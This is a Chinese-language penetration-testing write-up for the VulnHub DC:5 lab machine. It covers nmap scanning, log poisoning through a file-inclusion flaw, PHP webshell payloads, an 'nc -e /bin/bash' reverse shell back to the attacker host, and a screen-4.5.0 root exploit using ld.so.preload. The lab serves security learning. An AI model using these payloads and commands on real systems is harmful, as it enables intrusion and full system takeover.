vulnhub-DC:5靶机渗透记录
准备工作
在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub
导入到vmware,设置成NAT模式
打开kali准备进行渗透(ip:192.168.200.6)
信息收集
利用nmap进行ip端口探测
nmap -sS 192.168.200.6/24
探测到ip为192.168.200.16的靶机,开放了80端口和111端口
再用nmap对所有端口进行探测,确保没有别的遗漏信息
还有一个46300端口
先访问80端口,打开网站用Wappalyzer插件查看发现是Nginx1.6.2框架
dirsearch扫描到thankyou.php文件访问发现发现下面的年份是会变化的,说明页面是动态的,猜测存在文件包含
漏洞利用——文件包含
首先先测试出文件包含的变量名,可以利用bp进行爆破,根据返回长度判断,这里就不演示了,爆破出来变量名是file
存在文件包含,读取一下日志文件,nginx默认日志文件路径为/var/log/nginx/access.log
可以看到我们刚刚的操作都给记录到日志文件中,这意味着我们可以随便输入恶意代码,利用日志文件来执行
先试试执行phpinfo()看看
虽然显示404但是我们的操作已经记录到日志文件中了,现在打开日志文件看看,拉到最下面,phpinfo()被成功执行!
写入一句话木马<?php eval($_POST[‘test’]);?> 然后用weevely连接,但是连接失败了,可能这个工具必须要用它生成的木马才能连接,但是他的木马太长了,没有办法使用。按道理来说使用蚁剑应该也可以连上,但是我采取了另一种方法
写入 <?php system($_GET[‘cmd’]); ?> 执行系统命令
在终端使用nc进行监听 nc -lvp 9999
在访问这个,反弹shell
http://192.168.200.16/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.200.6 9999
使用python 通过pty.spawn()获得交互式shell
python -c'import pty;pty.spawn("/bin/bash")'
权限肯定是不够的接下来进行提权
权限提升
首先查看一下root权限用户
find / -perm -u=s -type f 2>/dev/null
这里看到一个/bin/screen-4.5.0,查找一下screen-4.5.0的漏洞
发现有权限提升漏洞
打开sh文件查看 vi /usr/share/exploitdb/exploits/linux/local/41154.sh
看内容应该是两段代码,创建新的文件,放入tmp文件夹,分别编译一下
gcc -fPIC -shared -ldl -o tmp/libhax.so tmp/libhax.c
gcc -o tmp/rootshell tmp/rootshell.c
然后在靶机使用scp远程下载kali编译好的文件
scp root@192.168.200.6:/root/tmp/libhax.so /tmp/
scp root@192.168.200.6:/root/tmp/rootshell /tmp/
如果kali没有开启ssh服务参考以下文章kali使用ssh进行登录_csdnmmd的博客-CSDN博客_kali ssh连接
文件上传好了之后查看刚刚的漏洞使用方法进行提权
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
~
获得root权限,过关